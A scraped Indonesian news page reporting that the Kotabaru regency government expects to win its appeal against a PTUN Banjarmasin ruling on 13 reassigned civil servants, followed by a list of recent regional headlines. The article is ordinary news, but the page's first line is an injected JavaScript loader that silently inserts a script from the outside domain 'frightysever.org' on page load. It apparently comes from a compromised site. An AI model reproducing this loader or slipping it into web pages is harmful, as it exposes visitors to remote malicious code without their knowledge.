(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HukumKanal

Pemkab Kotabaru Yakin Menang di PTUN Banjarmasin


Kabag Hukum Setda Kotabaru Basuki

KOTABARU, Pemkab Kotabaru yakin menang upaya hukum banding di PTUN Banjarmasin.

“Kami yakin menang dalam upaya Banding terhadap putusan Pengadilan Tata Usaha Negara (PTUN) Banjarmasin tanggal 12 September 2017 yang memenangkan sebagian gugatan 13 pejabat Aparatur Sipil Negara (ASN) yang difungsionalkan,” ungkap Kepala Bagian (Kabag) Hukum Setda Kabupaten Kotabaru Basuki kepada Kalimantan View, Selasa (26/9).

Melalui kuasa hukum Pemerintah Kabupaten Kotabaru sudah mengajukan Akte Banding ke Pengadilan Tata Usaha Negara (PTUN) Jakarta melalui PTUN di Banjarmasin.

“Kami dari bagian hukum Setda Kotabaru sudah mengajukan Akte Banding ke PTUN Jakarta melalui kantor PTUN di Banjarmasin pada Selasa (19/9) lalu,” ujar Basuki.

Pihaknya akan menyampaikan memori Banding yang diperkiraan akan dilakukan pada tanggal 5 Oktober 2017 mendatang selanjutnya akan menunggu prosesnya berdasarkan penilaian dari majelis hakim.
“Kita tunggu saja lah bagaimana nanti hasilnya dan yang akan melakukan penilaian adalah majelis hakim PTUN Jakarta,” jelasnya.

Menurutnya, kalaupun nanti pada prosesnya pengajuan Banding dari Pemkab Kotabaru ternyata kalah maka bisa saja ada upaya lain untuk menempuh jalur lain yakni Kasasi karena secara aturan hal itu diperbolehkan.

“Pada prinsipnya kami dari bagian hukum hanya melaksanakan tugas sebagai kuasa hukum Pemerintah Daerah sesuai dengan Permendagri nomor 12 tahun 2014 tentang pedoman penanganan perkara di lingkungan Kementerian Dalam Negeri dan Pemerintah Daerah,” tambahnya.

Sebelumnya, Sekretaris Daerah (Sekda) Kabupaten Kotabaru H Said Ahmad menyatakan, dengan adanya putusan PTUN Banjarmasin yang berkenaan tentang ASN yang difungsionalkan sebanyak 13 orang oleh kepala daerah akan ada upaya lanjutan yakni banding dan itu pasti akan berproses.

“Bupati sudah menyampaikan kepada Kabag Hukum Setda bahwa akan banding terhadap putusan itu, yang berarti masih akan berproses,” ujarnya.***


Desy Arfianty

Recent Posts

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

2 jam ago

Resmikan Puskesmas, Bupati Banjar Harapkan Pelayanan Terbaik kepada Masyarakat

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More

3 jam ago

Bupati HSU Bersama Dandim Tinjau Lokasi TMMD di Desa Hambuku Hulu

‎KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More

3 jam ago

‎TMMD Ke-127 Dimulai, Bupati HSU: TNI Berperan Aktif Percepat Pembangunan Pedesaan

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More

4 jam ago

Penataan Blok Pasar di Kawasan Jalan Jenderal Sudirman, Pemkab Kapuas Siapkan Relokasi

KANALKALIMANTAN.COM,KUALA KAPUAS - Dinas Perindustrian, Perdagangan, Koperasi, dan UMKM Kabupaten Kapuas menggelar rapat lanjutan penataan… Read More

20 jam ago

Pimpin Rakor Mingguan, Bupati Soroti Pengelolaan Taman CBS

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur memberikan perhatian khusus terhadap penertiban pengelolaan Taman… Read More

22 jam ago

This website uses cookies.